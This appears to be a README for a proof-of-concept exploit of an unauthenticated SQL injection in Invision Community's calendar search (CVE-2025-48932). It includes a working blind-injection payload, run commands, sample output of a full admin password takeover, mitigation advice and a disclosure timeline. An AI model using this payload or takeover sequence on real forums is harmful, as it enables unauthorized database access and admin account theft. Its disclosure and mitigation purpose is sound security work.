Invision Community SQL Injection Exploit (CVE-2025-48932)

A proof-of-concept exploit demonstrating a SQL injection vulnerability in Invision Community versions <= 4.7.20.

⚠️ Disclaimer

This tool is provided for educational and authorized security testing purposes ONLY.

• Unauthorized access to computer systems is ILLEGAL
• Only use this tool on systems you own or have explicit written permission to test
• The author is NOT RESPONSIBLE for any misuse or damage caused by this tool
• This is for security researchers, penetration testers, and educational purposes only

📋 Table of Contents

• Vulnerability Description
• Requirements
• Installation
• Usage
• How It Works
• Mitigation
• Credits
• References

🔍 Vulnerability Description

CVE ID: CVE-2025-48932
Severity: High
CVSS Score: TBD
Affected Versions: Invision Community 4.x versions before 4.7.21

The vulnerability exists in the /applications/calendar/modules/front/calendar/view.php script. User input passed through the location request parameter in the IPS\calendar\modules\front\calendar\view::search() method is not properly sanitized before being used in SQL queries.

This allows remote, unauthenticated attackers to:

• Extract sensitive data from the database
• Read admin credentials
• Potentially achieve admin account takeover

Prerequisites for exploitation:

• Calendar application must be installed
• GeoLocation feature (like Google Maps) must be configured

Note: While SQL injection vulnerabilities in Invision Community 4.x versions < 4.7.18 could lead to admin account takeover and RCE by resetting the admin password, version 4.7.18 introduced a new security encryption key in the password reset mechanism, making this attack vector more difficult.

📦 Requirements

• Python 3.7 or higher
• pip (Python package manager)
• Internet connection
• Target system running Invision Community <= 4.7.20 with:
  • Calendar application installed
  • GeoLocation feature configured

🚀 Installation

1. Clone the repository:

   git clone https://github.com/yourusername/invision-sqli-exploit.git
   cd invision-sqli-exploit

2. Install dependencies:

   pip install -r requirements.txt

💻 Usage

Basic Usage

python invision-sqli-exploit.py -u http://target.com/forum/

Verbose Mode (for debugging)

python invision-sqli-exploit.py -u https://example.com/community/ -v

Command-Line Arguments

Argument	Description	Required
-u, --url	Target Invision Community base URL	Yes
-v, --verbose	Enable verbose output for debugging	No
-h, --help	Show help message and exit	No

Example Output

==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================

[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: admin@example.com
[+] Admin email: admin@example.com

[!] Step 2: Manual action required!

Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: admin@example.com
3. Press ENTER when done...

[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...

==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================

Admin credentials:
  Email:    admin@example.com
  Password: Pwned1721234567

You can now login at: http://example.com/forum/index.php?/login/

🔬 How It Works

The exploit works in four main steps:

1. CSRF Token Extraction

The script first fetches a CSRF token from the target website, which is required for subsequent requests.

2. Boolean-Based Blind SQL Injection

Using a binary search algorithm, the exploit extracts data character by character from the database:

• Tests each character using conditional SQL queries
• Uses the RLIKE function with regex patterns to detect true/false conditions
• Error messages indicate successful conditions

3. Admin Email Extraction

Queries the core_members table to extract the administrator's email address.

4. Password Reset Exploitation

• The attacker manually initiates a password reset for the admin account
• The exploit extracts the password reset validation key from the database
• Uses the validation key to reset the admin password without email access

Technical Details

Injection Point:

location parameter → calendar/view.php → search() method

Payload Example:

'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#

Exploitation Technique: Boolean-based blind SQL injection using binary search for efficient data extraction.

🛡️ Mitigation

For Users

Immediate Actions:

1. Upgrade to version 4.7.21 or later - This version patches the vulnerability
2. Disable the Calendar application if not in use
3. Monitor access logs for suspicious activity
4. Review admin accounts for unauthorized access

For Developers

Secure Coding Practices:

1. Use parameterized queries/prepared statements - Never concatenate user input into SQL queries
2. Input validation - Validate and sanitize all user inputs
3. Least privilege principle - Database users should have minimal required permissions
4. Web Application Firewall (WAF) - Deploy WAF rules to detect SQL injection attempts
5. Regular security audits - Conduct periodic code reviews and penetration tests

Example of Secure Code:

// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";

// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);

📅 Disclosure Timeline

Date	Event
May 16, 2025	Vendor notified
May 27, 2025	Version 4.7.21 released
May 28, 2025	CVE identifier requested
May 28, 2025	CVE-2025-48932 assigned
July 23, 2025	Public disclosure

👏 Credits

Developer:

• nanda

Note: This is an independent implementation based on publicly disclosed vulnerability information (CVE-2025-48932)

📚 References

• CVE-2025-48932 Details
• Invision Community Official Site
• EDB-ID: 52383

📝 License

This project is licensed under the MIT License - see the LICENSE file for details.

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.

⚖️ Legal Notice

This tool is distributed under the MIT License. By using this software, you agree to:

1. Use it only for legal and authorized testing purposes
2. Take full responsibility for your actions
3. Not hold the author liable for any misuse or damage
4. Comply with all applicable laws and regulations

Remember: Unauthorized access to computer systems is a crime in most jurisdictions and can result in severe legal consequences.

---

If you discover a security vulnerability, please responsibly disclose it to the vendor before making it public.